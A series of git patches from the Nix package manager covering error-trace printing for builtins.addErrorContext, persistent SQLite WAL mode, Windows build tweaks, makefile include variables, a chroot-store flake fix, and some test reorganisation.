100644 --- a/tests/functional/flakes/flakes.sh +++ b/tests/functional/flakes/flakes.sh @@ -93,6 +93,23 @@ foo EOF chmod +x $nonFlakeDir/shebang-comments.sh +cat > $nonFlakeDir/shebang-different-comments.sh < $nonFlakeDir/shebang-reject.sh <&1 | grepQuiet -F 'error: unsupported unquoted character in nix shebang: *. Use double backticks to escape?' From 9f7b2b93ceb479571e4c0f4bbe587e66528e4ec7 Mon Sep 17 00:00:00 2001 From: Cyclic4179 <147778028+Cyclic4179@users.noreply.github.com> Date: Wed, 27 Mar 2024 15:03:54 +0100 Subject: [PATCH 0292/1251] fixup! add flakes.sh test for shebang supported types of comments --- tests/functional/flakes/flakes.sh | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/tests/functional/flakes/flakes.sh b/tests/functional/flakes/flakes.sh index 14529c475..4f41cae0a 100644 --- a/tests/functional/flakes/flakes.sh +++ b/tests/functional/flakes/flakes.sh @@ -97,12 +97,13 @@ cat > $nonFlakeDir/shebang-different-comments.sh < Date: Sat, 23 Mar 2024 23:56:05 +0100 Subject: [PATCH 0293/1251] Always print addErrorContext traces --- src/libexpr/primops.cc | 2 +- src/libutil/error.cc | 38 ++++++++++++------- src/libutil/error.hh | 9 ++++- tests/functional/lang.sh | 10 ++++- .../eval-fail-addErrorContext-example.err.exp | 38 +++++++++++++++++++ .../eval-fail-addErrorContext-example.flags | 1 + .../eval-fail-addErrorContext-example.nix | 9 +++++ 7 files changed, 90 insertions(+), 17 deletions(-) create mode 100644 tests/functional/lang/eval-fail-addErrorContext-example.err.exp create mode 100644 tests/functional/lang/eval-fail-addErrorContext-example.flags create mode 100644 tests/functional/lang/eval-fail-addErrorContext-example.nix diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc index d0fcfd194..8a188e0c4 100644 --- a/src/libexpr/primops.cc +++ b/src/libexpr/primops.cc @@ -826,7 +826,7 @@ static void prim_addErrorContext(EvalState & state, const PosIdx pos, Value * * auto message = state.coerceToString(pos, *args[0], context, "while evaluating the error message passed to builtins.addErrorContext", false, false).toOwned(); - e.addTrace(nullptr, HintFmt(message)); + e.addTrace(nullptr, HintFmt(message), TraceKind::Custom); throw; } } diff --git a/src/libutil/error.cc b/src/libutil/error.cc index d1e864a1a..fa7dadb27 100644 --- a/src/libutil/error.cc +++ b/src/libutil/error.cc @@ -11,9 +11,9 @@ namespace nix { -void BaseError::addTrace(std::shared_ptr && e, HintFmt hint) +void BaseError::addTrace(std::shared_ptr && e, HintFmt hint, TraceKind kind) { - err.traces.push_front(Trace { .pos = std::move(e), .hint = hint }); + err.traces.push_front(Trace { .pos = std::move(e), .hint = hint, .kind = kind }); } void throwExceptionSelfCheck(){ @@ -379,29 +379,39 @@ std::ostream & showErrorInfo(std::ostream & out, const ErrorInfo & einfo, bool s // A consecutive sequence of stack traces that are all in `tracesSeen`. std::vector skippedTraces; size_t count = 0; + bool truncate = false; for (const auto & trace : einfo.traces) { if (trace.hint.str().empty()) continue; if (!showTrace && count > 3) { - oss << "\n" << ANSI_WARNING "(stack trace truncated; use '--show-trace' to show the full trace)" ANSI_NORMAL << "\n"; - break; + truncate = true; } - if (tracesSeen.count(trace)) { - skippedTraces.push_back(trace); - continue; + if (!truncate || trace.kind == TraceKind::Custom) { + + if (tracesSeen.count(trace)) { + skippedTraces.push_back(trace); + continue; + } + + tracesSeen.insert(trace); + + printSkippedTracesMaybe(oss, ellipsisIndent, count, skippedTraces, tracesSeen); + + count++; + + printTrace(oss, ellipsisIndent, count, trace); } - tracesSeen.insert(trace); - - printSkippedTracesMaybe(oss, ellipsisIndent, count, skippedTraces, tracesSeen); - - count++; - - printTrace(oss, ellipsisIndent, count, trace); } + printSkippedTracesMaybe(oss, ellipsisIndent, count, skippedTraces, tracesSeen); + + if (truncate) { + oss << "\n" << ANSI_WARNING "(stack trace truncated; use '--show-trace' to show the full, detailed trace)" ANSI_NORMAL << "\n"; + } + oss << "\n" << prefix; } diff --git a/src/libutil/error.hh b/src/libutil/error.hh index 89f5ad021..6701a75b3 100644 --- a/src/libutil/error.hh +++ b/src/libutil/error.hh @@ -61,9 +61,16 @@ void printCodeLines(std::ostream & out, const Pos & errPos, const LinesOfCode & loc); +enum struct TraceKind { + Other, + /** Produced by builtins.addErrorContext. Always printed. */ + Custom, +}; + struct Trace { std::shared_ptr pos; HintFmt hint; + TraceKind kind = TraceKind::Other; }; inline bool operator<(const Trace& lhs, const Trace& rhs); @@ -161,7 +168,7 @@ public: addTrace(std::move(e), HintFmt(std::string(fs), args...)); } - void addTrace(std::shared_ptr && e, HintFmt hint); + void addTrace(std::shared_ptr && e, HintFmt hint, TraceKind kind = TraceKind::Other); bool hasTrace() const { return !err.traces.empty(); } diff --git a/tests/functional/lang.sh b/tests/functional/lang.sh index 12df32c87..e35795a7a 100755 --- a/tests/functional/lang.sh +++ b/tests/functional/lang.sh @@ -68,8 +68,16 @@ done for i in lang/eval-fail-*.nix; do echo "evaluating $i (should fail)"; i=$(basename "$i" .nix) + flags="$( + if [[ -e "lang/$i.flags" ]]; then + sed -e 's/#.*//' < "lang/$i.flags" + else + # note that show-trace is also set by init.sh + echo "--eval --strict --show-trace" + fi + )" if - expectStderr 1 nix-instantiate --eval --strict --show-trace "lang/$i.nix" \ + expectStderr 1 nix-instantiate $flags "lang/$i.nix" \ | sed "s!$(pwd)!/pwd!g" > "lang/$i.err" then diffAndAccept "$i" err err.exp diff --git a/tests/functional/lang/eval-fail-addErrorContext-example.err.exp b/tests/functional/lang/eval-fail-addErrorContext-example.err.exp new file mode 100644 index 000000000..3d390cd37 --- /dev/null +++ b/tests/functional/lang/eval-fail-addErrorContext-example.err.exp @@ -0,0 +1,38 @@ +error: + … while calling the 'addErrorContext' builtin + at /pwd/lang/eval-fail-addErrorContext-example.nix:6:7: + 5| else + 6| builtins.addErrorContext + | ^ + 7| "while counting down; n = ${toString n}" + + … while counting down; n = 10 + + … while calling the 'addErrorContext' builtin + at /pwd/lang/eval-fail-addErrorContext-example.nix:6:7: + 5| else + 6| builtins.addErrorContext + | ^ + 7| "while counting down; n = ${toString n}" + + … while counting down; n = 9 + + … while counting down; n = 8 + + … while counting down; n = 7 + + … while counting down; n = 6 + + … while counting down; n = 5 + + … while counting down; n = 4 + + … while counting down; n = 3 + + … while counting down; n = 2 + + … while counting down; n = 1 + + (stack trace truncated; use '--show-trace' to show the full, detailed trace) + + error: kaboom diff --git a/tests/functional/lang/eval-fail-addErrorContext-example.flags b/tests/functional/lang/eval-fail-addErrorContext-example.flags new file mode 100644 index 000000000..9b1f6458f --- /dev/null +++ b/tests/functional/lang/eval-fail-addErrorContext-example.flags @@ -0,0 +1 @@ +--eval --strict --no-show-trace diff --git a/tests/functional/lang/eval-fail-addErrorContext-example.nix b/tests/functional/lang/eval-fail-addErrorContext-example.nix new file mode 100644 index 000000000..996b24688 --- /dev/null +++ b/tests/functional/lang/eval-fail-addErrorContext-example.nix @@ -0,0 +1,9 @@ +let + countDown = n: + if n == 0 + then throw "kaboom" + else + builtins.addErrorContext + "while counting down; n = ${toString n}" + ("x" + countDown (n - 1)); +in countDown 10 From 981c3090570ca3b9c75098ab482049cc3b4dc2b0 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sun, 24 Mar 2024 00:04:30 +0100 Subject: [PATCH 0294/1251] Remove trace item: while calling the 'addErrorContext' builtin --- src/libexpr/eval.cc | 6 ++++-- src/libexpr/eval.hh | 7 +++++++ src/libexpr/primops.cc | 2 ++ .../lang/eval-fail-addErrorContext-example.err.exp | 14 -------------- 4 files changed, 13 insertions(+), 16 deletions(-) diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index 5e2f71649..86251adf7 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -1665,7 +1665,8 @@ void EvalState::callFunction(Value & fun, size_t nrArgs, Value * * args, Value & try { fn->fun(*this, vCur.determinePos(noPos), args, vCur); } catch (Error & e) { - addErrorTrace(e, pos, "while calling the '%1%' builtin", fn->name); + if (fn->addTrace) + addErrorTrace(e, pos, "while calling the '%1%' builtin", fn->name); throw; } @@ -1713,7 +1714,8 @@ void EvalState::callFunction(Value & fun, size_t nrArgs, Value * * args, Value & // so the debugger allows to inspect the wrong parameters passed to the builtin. fn->fun(*this, vCur.determinePos(noPos), vArgs, vCur); } catch (Error & e) { - addErrorTrace(e, pos, "while calling the '%1%' builtin", fn->name); + if (fn->addTrace) + addErrorTrace(e, pos, "while calling the '%1%' builtin", fn->name); throw; } diff --git a/src/libexpr/eval.hh b/src/libexpr/eval.hh index f15d19653..f45971290 100644 --- a/src/libexpr/eval.hh +++ b/src/libexpr/eval.hh @@ -69,6 +69,13 @@ struct PrimOp */ const char * doc = nullptr; + /** + * Add a trace item, `while calling the '' builtin` + * + * This is used to remove the redundant item for `builtins.addErrorContext`. + */ + bool addTrace = true; + /** * Implementation of the primop. */ diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc index 8a188e0c4..2345a5e3c 100644 --- a/src/libexpr/primops.cc +++ b/src/libexpr/primops.cc @@ -834,6 +834,8 @@ static void prim_addErrorContext(EvalState & state, const PosIdx pos, Value * * static RegisterPrimOp primop_addErrorContext(PrimOp { .name = "__addErrorContext", .arity = 2, + // The normal trace item is redundant + .addTrace = false, .fun = prim_addErrorContext, }); diff --git a/tests/functional/lang/eval-fail-addErrorContext-example.err.exp b/tests/functional/lang/eval-fail-addErrorContext-example.err.exp index 3d390cd37..4fad8f5c8 100644 --- a/tests/functional/lang/eval-fail-addErrorContext-example.err.exp +++ b/tests/functional/lang/eval-fail-addErrorContext-example.err.exp @@ -1,20 +1,6 @@ error: - … while calling the 'addErrorContext' builtin - at /pwd/lang/eval-fail-addErrorContext-example.nix:6:7: - 5| else - 6| builtins.addErrorContext - | ^ - 7| "while counting down; n = ${toString n}" - … while counting down; n = 10 - … while calling the 'addErrorContext' builtin - at /pwd/lang/eval-fail-addErrorContext-example.nix:6:7: - 5| else - 6| builtins.addErrorContext - | ^ - 7| "while counting down; n = ${toString n}" - … while counting down; n = 9 … while counting down; n = 8 From bed541b04e88fea5e9317ece34ed887db09a5bc0 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sun, 24 Mar 2024 00:16:16 +0100 Subject: [PATCH 0295/1251] error.cc: Make printTrace static --- src/libutil/error.cc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libutil/error.cc b/src/libutil/error.cc index fa7dadb27..e9c6437cd 100644 --- a/src/libutil/error.cc +++ b/src/libutil/error.cc @@ -163,7 +163,7 @@ static bool printPosMaybe(std::ostream & oss, std::string_view indent, const std return hasPos; } -void printTrace( +static void printTrace( std::ostream & output, const std::string_view & indent, size_t & count, From d4fa0a84a55857f034b84015f99fe2b206230be8 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Wed, 27 Mar 2024 16:27:06 +0100 Subject: [PATCH 0296/1251] refact: TraceKind -> TracePrint Co-authored-by: Rebecca Turner --- src/libexpr/primops.cc | 2 +- src/libutil/error.cc | 6 +++--- src/libutil/error.hh | 18 ++++++++++++------ 3 files changed, 16 insertions(+), 10 deletions(-) diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc index 2345a5e3c..9ec32a0de 100644 --- a/src/libexpr/primops.cc +++ b/src/libexpr/primops.cc @@ -826,7 +826,7 @@ static void prim_addErrorContext(EvalState & state, const PosIdx pos, Value * * auto message = state.coerceToString(pos, *args[0], context, "while evaluating the error message passed to builtins.addErrorContext", false, false).toOwned(); - e.addTrace(nullptr, HintFmt(message), TraceKind::Custom); + e.addTrace(nullptr, HintFmt(message), TracePrint::Always); throw; } } diff --git a/src/libutil/error.cc b/src/libutil/error.cc index e9c6437cd..036e19e26 100644 --- a/src/libutil/error.cc +++ b/src/libutil/error.cc @@ -11,9 +11,9 @@ namespace nix { -void BaseError::addTrace(std::shared_ptr && e, HintFmt hint, TraceKind kind) +void BaseError::addTrace(std::shared_ptr && e, HintFmt hint, TracePrint print) { - err.traces.push_front(Trace { .pos = std::move(e), .hint = hint, .kind = kind }); + err.traces.push_front(Trace { .pos = std::move(e), .hint = hint, .print = print }); } void throwExceptionSelfCheck(){ @@ -388,7 +388,7 @@ std::ostream & showErrorInfo(std::ostream & out, const ErrorInfo & einfo, bool s truncate = true; } - if (!truncate || trace.kind == TraceKind::Custom) { + if (!truncate || trace.print == TracePrint::Always) { if (tracesSeen.count(trace)) { skippedTraces.push_back(trace); diff --git a/src/libutil/error.hh b/src/libutil/error.hh index 6701a75b3..d23625a54 100644 --- a/src/libutil/error.hh +++ b/src/libutil/error.hh @@ -61,16 +61,22 @@ void printCodeLines(std::ostream & out, const Pos & errPos, const LinesOfCode & loc); -enum struct TraceKind { - Other, - /** Produced by builtins.addErrorContext. Always printed. */ - Custom, +/** + * When a stack frame is printed. + */ +enum struct TracePrint { + /** + * The default behavior; always printed when `--show-trace` is set. + */ + Default, + /** Always printed. Produced by `builtins.addErrorContext`. */ + Always, }; struct Trace { std::shared_ptr pos; HintFmt hint; - TraceKind kind = TraceKind::Other; + TracePrint print = TracePrint::Default; }; inline bool operator<(const Trace& lhs, const Trace& rhs); @@ -168,7 +174,7 @@ public: addTrace(std::move(e), HintFmt(std::string(fs), args...)); } - void addTrace(std::shared_ptr && e, HintFmt hint, TraceKind kind = TraceKind::Other); + void addTrace(std::shared_ptr && e, HintFmt hint, TracePrint print = TracePrint::Default); bool hasTrace() const { return !err.traces.empty(); } From 7205a6bbc93db7ea9b013c73413acaa4bc06dc35 Mon Sep 17 00:00:00 2001 From: annalee <150648636+a-n-n-a-l-e-e@users.noreply.github.com> Date: Sat, 23 Mar 2024 06:41:33 +0000 Subject: [PATCH 0297/1251] enable persistent WAL mode for sqlite db allow processes without write access to the directory containing the db to read the db when all connections are closed. Without this setting and with WAL enabled and no open db connections unprivileged processes will fail to open the db due the WAL files not existing and not able to create them. When the WAL files are persistent unprivileged processeses can read the db when there are no open connections. Additionally, journal_size_limit is set to 2^40, which results in the WAL files being truncated to 0 on exit, as well as limiting the WAL files to 2^40 bytes following a checkpoint. https://www.sqlite.org/c3ref/c_fcntl_begin_atomic_write.html#sqlitefcntlpersistwal https://www.sqlite.org/pragma.html#pragma_journal_size_limit https://github.com/sqlite/sqlite/blob/ed517a708284b6e00b6ae5f1e3f702bbfcbd32ed/src/wal.c#L2518 Fixes https://github.com/NixOS/nix/issues/10300 --- src/libstore/local-store.cc | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc index 1bbeaa912..e4c4126aa 100644 --- a/src/libstore/local-store.cc +++ b/src/libstore/local-store.cc @@ -552,6 +552,19 @@ void LocalStore::openDB(State & state, bool create) sqlite3_exec(db, ("pragma main.journal_mode = " + mode + ";").c_str(), 0, 0, 0) != SQLITE_OK) SQLiteError::throw_(db, "setting journal mode"); + if (mode == "wal") { + /* persist the WAL files when the db connection is closed. This allows + for read-only connections without write permissions on the + containing directory to succeed on a closed db. Setting the + journal_size_limit to 2^40 bytes results in the WAL files getting + truncated to 0 on exit and limits the on disk size of the WAL files + to 2^40 bytes following a checkpoint */ + if (sqlite3_exec(db, "pragma main.journal_size_limit = 1099511627776;", 0, 0, 0) == SQLITE_OK) { + int enable = 1; + sqlite3_file_control(db, NULL, SQLITE_FCNTL_PERSIST_WAL, &enable); + } + } + /* Increase the auto-checkpoint interval to 40000 pages. This seems enough to ensure that instantiating the NixOS system derivation is done in a single fsync(). */ From ae2b2849c97399b7aa81b2df76ff738887545b8d Mon Sep 17 00:00:00 2001 From: John Ericson Date: Fri, 12 Jan 2024 20:21:33 -0500 Subject: [PATCH 0298/1251] Disable GC on windows We can build the dep and the our GC code is totally portable, but for some reason we get link errors saying `GC_throw_bad_alloc` is missing. --- package.nix | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/package.nix b/package.nix index 7d9a39771..db17badf0 100644 --- a/package.nix +++ b/package.nix @@ -75,7 +75,10 @@ # sounds so long as evaluation just takes places within short-lived # processes. (When the process exits, the memory is reclaimed; it is # only leaked *within* the process.) -, enableGC ? true +# +# Temporarily disabled on Windows because the `GC_throw_bad_alloc` +# symbol is missing during linking. +, enableGC ? !stdenv.hostPlatform.isWindows # Whether to enable Markdown rendering in the Nix binary. , enableMarkdown ? !stdenv.hostPlatform.isWindows From 4a61827d2d3f45b7bd8503691611409cdea2d46e Mon Sep 17 00:00:00 2001 From: John Ericson Date: Tue, 14 Nov 2023 17:18:58 -0500 Subject: [PATCH 0299/1251] Hack to make sure the DLL linking job works with the check output --- package.nix | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/package.nix b/package.nix index db17badf0..a334ae48c 100644 --- a/package.nix +++ b/package.nix @@ -338,6 +338,12 @@ in { echo "doc internal-api-docs $out/share/doc/nix/internal-api/html" >> ''${!outputDoc}/nix-support/hydra-build-products ''; + # So the check output gets links for DLLs in the out output. + preFixup = lib.optionalString (stdenv.hostPlatform.isWindows && builtins.elem "check" finalAttrs.outputs) '' + ln -s "$check/lib/"*.dll "$check/bin" + ln -s "$out/bin/"*.dll "$check/bin" + ''; + doInstallCheck = attrs.doInstallCheck; installCheckFlags = "sysconfdir=$(out)/etc"; From 77205b2042d9fb888b88faf33bd71ac823068368 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Sat, 2 Sep 2023 17:10:28 -0400 Subject: [PATCH 0300/1251] Allow for ergnomically putting Unix-only files in subdirs by creating `INLCUDE_$(pkg)` vars Separate platform-specific files will allow avoiding a lot of CPP. --- local.mk | 2 +- src/libcmd/local.mk | 2 +- src/libexpr/local.mk | 5 ++++- src/libfetchers/local.mk | 6 +++++- src/libmain/local.mk | 2 +- src/libstore/local.mk | 8 ++++++-- src/libutil/local.mk | 5 ++++- src/nix/local.mk | 2 +- src/resolve-system-dependencies/local.mk | 2 +- tests/functional/plugins/local.mk | 2 +- tests/functional/test-libstoreconsumer/local.mk | 2 +- tests/unit/libexpr/local.mk | 8 ++++---- tests/unit/libstore/local.mk | 4 ++-- tests/unit/libutil/local.mk | 2 +- 14 files changed, 33 insertions(+), 19 deletions(-) diff --git a/local.mk b/local.mk index 3f3abb9f0..7e3c77a65 100644 --- a/local.mk +++ b/local.mk @@ -7,4 +7,4 @@ $(foreach i, config.h $(wildcard src/lib*/*.hh), \ $(GCH): src/libutil/util.hh config.h -GCH_CXXFLAGS = -I src/libutil +GCH_CXXFLAGS = $(INCLUDE_libutil) diff --git a/src/libcmd/local.mk b/src/libcmd/local.mk index abb7459a7..7a7c46ee2 100644 --- a/src/libcmd/local.mk +++ b/src/libcmd/local.mk @@ -6,7 +6,7 @@ libcmd_DIR := $(d) libcmd_SOURCES := $(wildcard $(d)/*.cc) -libcmd_CXXFLAGS += -I src/libutil -I src/libstore -I src/libexpr -I src/libmain -I src/libfetchers +libcmd_CXXFLAGS += $(INCLUDE_libutil) $(INCLUDE_libstore) $(INCLUDE_libfetchers) $(INCLUDE_libexpr) -I src/libmain libcmd_LDFLAGS = $(EDITLINE_LIBS) $(LOWDOWN_LIBS) $(THREAD_LDFLAGS) diff --git a/src/libexpr/local.mk b/src/libexpr/local.mk index 0c3e36750..17f793ec3 100644 --- a/src/libexpr/local.mk +++ b/src/libexpr/local.mk @@ -11,8 +11,11 @@ libexpr_SOURCES := \ $(wildcard $(d)/flake/*.cc) \ $(d)/lexer-tab.cc \ $(d)/parser-tab.cc +# Not just for this library itself, but also for downstream libraries using this library -libexpr_CXXFLAGS += -I src/libutil -I src/libstore -I src/libfetchers -I src/libmain -I src/libexpr +INCLUDE_libexpr := -I $(d) + +libexpr_CXXFLAGS += $(INCLUDE_libutil) $(INCLUDE_libstore) $(INCLUDE_libfetchers) -I src/libmain $(INCLUDE_libexpr) libexpr_LIBS = libutil libstore libfetchers diff --git a/src/libfetchers/local.mk b/src/libfetchers/local.mk index e54db4937..e229a0993 100644 --- a/src/libfetchers/local.mk +++ b/src/libfetchers/local.mk @@ -6,7 +6,11 @@ libfetchers_DIR := $(d) libfetchers_SOURCES := $(wildcard $(d)/*.cc) -libfetchers_CXXFLAGS += -I src/libutil -I src/libstore +# Not just for this library itself, but also for downstream libraries using this library + +INCLUDE_libfetchers := -I $(d) + +libfetchers_CXXFLAGS += $(INCLUDE_libutil) $(INCLUDE_libstore) $(INCLUDE_libfetchers) libfetchers_LDFLAGS += $(THREAD_LDFLAGS) $(LIBGIT2_LIBS) -larchive diff --git a/src/libmain/local.mk b/src/libmain/local.mk index 5c7061863..fde28a820 100644 --- a/src/libmain/local.mk +++ b/src/libmain/local.mk @@ -6,7 +6,7 @@ libmain_DIR := $(d) libmain_SOURCES := $(wildcard $(d)/*.cc) -libmain_CXXFLAGS += -I src/libutil -I src/libstore +libmain_CXXFLAGS += $(INCLUDE_libutil) $(INCLUDE_libstore) libmain_LDFLAGS += $(OPENSSL_LIBS) diff --git a/src/libstore/local.mk b/src/libstore/local.mk index f86643849..7eaa317e5 100644 --- a/src/libstore/local.mk +++ b/src/libstore/local.mk @@ -10,7 +10,7 @@ libstore_LIBS = libutil libstore_LDFLAGS += $(SQLITE3_LIBS) $(LIBCURL_LIBS) $(THREAD_LDFLAGS) ifdef HOST_LINUX - libstore_LDFLAGS += -ldl + libstore_LDFLAGS += -ldl endif $(foreach file,$(libstore_FILES),$(eval $(call install-data-in,$(d)/$(file),$(datadir)/nix/sandbox))) @@ -27,8 +27,12 @@ ifeq ($(HAVE_SECCOMP), 1) libstore_LDFLAGS += $(LIBSECCOMP_LIBS) endif +# Not just for this library itself, but also for downstream libraries using this library + +INCLUDE_libstore := -I $(d) -I $(d)/build + libstore_CXXFLAGS += \ - -I src/libutil -I src/libstore -I src/libstore/build \ + $(INCLUDE_libutil) $(INCLUDE_libstore) $(INCLUDE_libstore) \ -DNIX_PREFIX=\"$(prefix)\" \ -DNIX_STORE_DIR=\"$(storedir)\" \ -DNIX_DATA_DIR=\"$(datadir)\" \ diff --git a/src/libutil/local.mk b/src/libutil/local.mk index 200026c1e..4ffb6bd9d 100644 --- a/src/libutil/local.mk +++ b/src/libutil/local.mk @@ -6,7 +6,10 @@ libutil_DIR := $(d) libutil_SOURCES := $(wildcard $(d)/*.cc $(d)/signature/*.cc) -libutil_CXXFLAGS += -I src/libutil +# Not just for this library itself, but also for downstream libraries using this library + +INCLUDE_libutil := -I $(d) +libutil_CXXFLAGS += $(INCLUDE_libutil) libutil_LDFLAGS += $(THREAD_LDFLAGS) $(LIBCURL_LIBS) $(SODIUM_LIBS) $(OPENSSL_LIBS) $(LIBBROTLI_LIBS) $(LIBARCHIVE_LIBS) $(BOOST_LDFLAGS) -lboost_context diff --git a/src/nix/local.mk b/src/nix/local.mk index 1d6f560d6..55544b564 100644 --- a/src/nix/local.mk +++ b/src/nix/local.mk @@ -14,7 +14,7 @@ nix_SOURCES := \ $(wildcard src/nix-instantiate/*.cc) \ $(wildcard src/nix-store/*.cc) \ -nix_CXXFLAGS += -I src/libutil -I src/libstore -I src/libfetchers -I src/libexpr -I src/libmain -I src/libcmd -I doc/manual +nix_CXXFLAGS += $(INCLUDE_libutil) $(INCLUDE_libstore) $(INCLUDE_libfetchers) $(INCLUDE_libexpr) -I src/libmain -I src/libcmd -I doc/manual nix_LIBS = libexpr libmain libfetchers libstore libutil libcmd diff --git a/src/resolve-system-dependencies/local.mk b/src/resolve-system-dependencies/local.mk index fc48a8417..f28fdab3b 100644 --- a/src/resolve-system-dependencies/local.mk +++ b/src/resolve-system-dependencies/local.mk @@ -6,7 +6,7 @@ resolve-system-dependencies_DIR := $(d) resolve-system-dependencies_INSTALL_DIR := $(libexecdir)/nix -resolve-system-dependencies_CXXFLAGS += -I src/libutil -I src/libstore -I src/libmain +resolve-system-dependencies_CXXFLAGS += $(INCLUDE_libutil) $(INCLUDE_libstore) -I src/libmain resolve-system-dependencies_LIBS := libstore libmain libutil diff --git a/tests/functional/plugins/local.mk b/tests/functional/plugins/local.mk index 40350aa96..2314e1341 100644 --- a/tests/functional/plugins/local.mk +++ b/tests/functional/plugins/local.mk @@ -8,4 +8,4 @@ libplugintest_ALLOW_UNDEFINED := 1 libplugintest_EXCLUDE_FROM_LIBRARY_LIST := 1 -libplugintest_CXXFLAGS := -I src/libutil -I src/libstore -I src/libexpr -I src/libfetchers +libplugintest_CXXFLAGS := $(INCLUDE_libutil) $(INCLUDE_libstore) $(INCLUDE_libexpr) $(INCLUDE_libfetchers) diff --git a/tests/functional/test-libstoreconsumer/local.mk b/tests/functional/test-libstoreconsumer/local.mk index a1825c405..3e8581c57 100644 --- a/tests/functional/test-libstoreconsumer/local.mk +++ b/tests/functional/test-libstoreconsumer/local.mk @@ -8,7 +8,7 @@ test-libstoreconsumer_INSTALL_DIR := test-libstoreconsumer_SOURCES := \ $(wildcard $(d)/*.cc) \ -test-libstoreconsumer_CXXFLAGS += -I src/libutil -I src/libstore +test-libstoreconsumer_CXXFLAGS += $(INCLUDE_libutil) $(INCLUDE_libstore) test-libstoreconsumer_LIBS = libstore libutil diff --git a/tests/unit/libexpr/local.mk b/tests/unit/libexpr/local.mk index 25810ad9c..eda65508d 100644 --- a/tests/unit/libexpr/local.mk +++ b/tests/unit/libexpr/local.mk @@ -23,10 +23,10 @@ libexpr-tests_EXTRA_INCLUDES = \ -I tests/unit/libexpr-support \ -I tests/unit/libstore-support \ -I tests/unit/libutil-support \ - -I src/libexpr \ - -I src/libfetchers \ - -I src/libstore \ - -I src/libutil + $(INCLUDE_libexpr) \ + $(INCLUDE_libfetchers) \ + $(INCLUDE_libstore) \ + $(INCLUDE_libutil) libexpr-tests_CXXFLAGS += $(libexpr-tests_EXTRA_INCLUDES) diff --git a/tests/unit/libstore/local.mk b/tests/unit/libstore/local.mk index 63f6d011f..960dece89 100644 --- a/tests/unit/libstore/local.mk +++ b/tests/unit/libstore/local.mk @@ -19,8 +19,8 @@ libstore-tests_SOURCES := $(wildcard $(d)/*.cc) libstore-tests_EXTRA_INCLUDES = \ -I tests/unit/libstore-support \ -I tests/unit/libutil-support \ - -I src/libstore \ - -I src/libutil + $(INCLUDE_libstore) \ + $(INCLUDE_libutil) libstore-tests_CXXFLAGS += $(libstore-tests_EXTRA_INCLUDES) diff --git a/tests/unit/libutil/local.mk b/tests/unit/libutil/local.mk index 930efb90b..536607322 100644 --- a/tests/unit/libutil/local.mk +++ b/tests/unit/libutil/local.mk @@ -18,7 +18,7 @@ libutil-tests_SOURCES := $(wildcard $(d)/*.cc) libutil-tests_EXTRA_INCLUDES = \ -I tests/unit/libutil-support \ - -I src/libutil + $(INCLUDE_libutil) libutil-tests_CXXFLAGS += $(libutil-tests_EXTRA_INCLUDES) From c0dd111af1999515b08bbfd95d8623a73b5fbc88 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Wed, 27 Mar 2024 20:47:51 +0100 Subject: [PATCH 0301/1251] Fix flake evaluation in chroot stores This is a temporary fix until we can pass `SourcePath`s rather than `StorePath`s to `call-flake.nix`. Fixes #10331. --- src/libexpr/flake/flake.cc | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) diff --git a/src/libexpr/flake/flake.cc b/src/libexpr/flake/flake.cc index bca473453..4a781beb8 100644 --- a/src/libexpr/flake/flake.cc +++ b/src/libexpr/flake/flake.cc @@ -10,6 +10,7 @@ #include "finally.hh" #include "fetch-settings.hh" #include "value-to-json.hh" +#include "local-fs-store.hh" namespace nix { @@ -755,7 +756,17 @@ void callFlake(EvalState & state, auto lockedNode = node.dynamic_pointer_cast(); - auto [storePath, subdir] = state.store->toStorePath(sourcePath.path.abs()); + // FIXME: This is a hack to support chroot stores. Remove this + // once we can pass a sourcePath rather than a storePath to + // call-flake.nix. + auto path = sourcePath.path.abs(); + if (auto store = state.store.dynamic_pointer_cast()) { + auto realStoreDir = store->getRealStoreDir(); + if (isInDir(path, realStoreDir)) + path = store->storeDir + path.substr(realStoreDir.size()); + } + + auto [storePath, subdir] = state.store->toStorePath(path); emitTreeAttrs( state, From 52359ca00ae1e3b3ae5ab831edb98ecdb9d5261a Mon Sep 17 00:00:00 2001 From: Tharun T Date: Thu, 28 Mar 2024 02:20:33 +0530 Subject: [PATCH 0302/1251] move test to correct file --- tests/functional/flakes/build-paths.sh | 19 +++++++++++++++++ tests/functional/flakes/flakes.sh | 29 -------------------------- 2 files changed, 19 insertions(+), 29 deletions(-) diff --git a/tests/functional/flakes/build-paths.sh b/tests/functional/flakes/build-paths.sh index ff012e1b3..98827947d 100644 --- a/tests/functional/flakes/build-paths.sh +++ b/tests/functional/flakes/build-paths.sh @@ -56,6 +56,18 @@ cat > $flake1Dir/flake.nix < \$foo/file + echo "out" > \$out/file + ''; + outputSpecified = true; + }; }; } EOF @@ -94,3 +106,10 @@ nix build --json --out-link $TEST_ROOT/result $flake1Dir#a12 expectStderr 1 nix build --impure --json --out-link $TEST_ROOT/result $flake1Dir#a13 \ | grepQuiet "has 2 entries in its context. It should only have exactly one entry" + +# Test accessing output in installables with `.` (foobarbaz.) +nix build --json --no-link $flake1Dir#a14.foo | jq --exit-status ' + (.[0] | + (.drvPath | match(".*dot-installable.drv")) and + (.outputs | keys == ["foo"])) +' diff --git a/tests/functional/flakes/flakes.sh b/tests/functional/flakes/flakes.sh index f6931a578..427290883 100644 --- a/tests/functional/flakes/flakes.sh +++ b/tests/functional/flakes/flakes.sh @@ -285,35 +285,6 @@ git -C "$flake3Dir" add flake.lock git -C "$flake3Dir" commit -m 'Add lockfile' -# Test accessing output in installables with `.` (foobarbaz.) -cat > "$flake3Dir/flake.nix" < \$foo/file - echo "out" > \$out/file - ''; - outputSpecified = true; - }; - }; -} -EOF - -cp ../config.nix 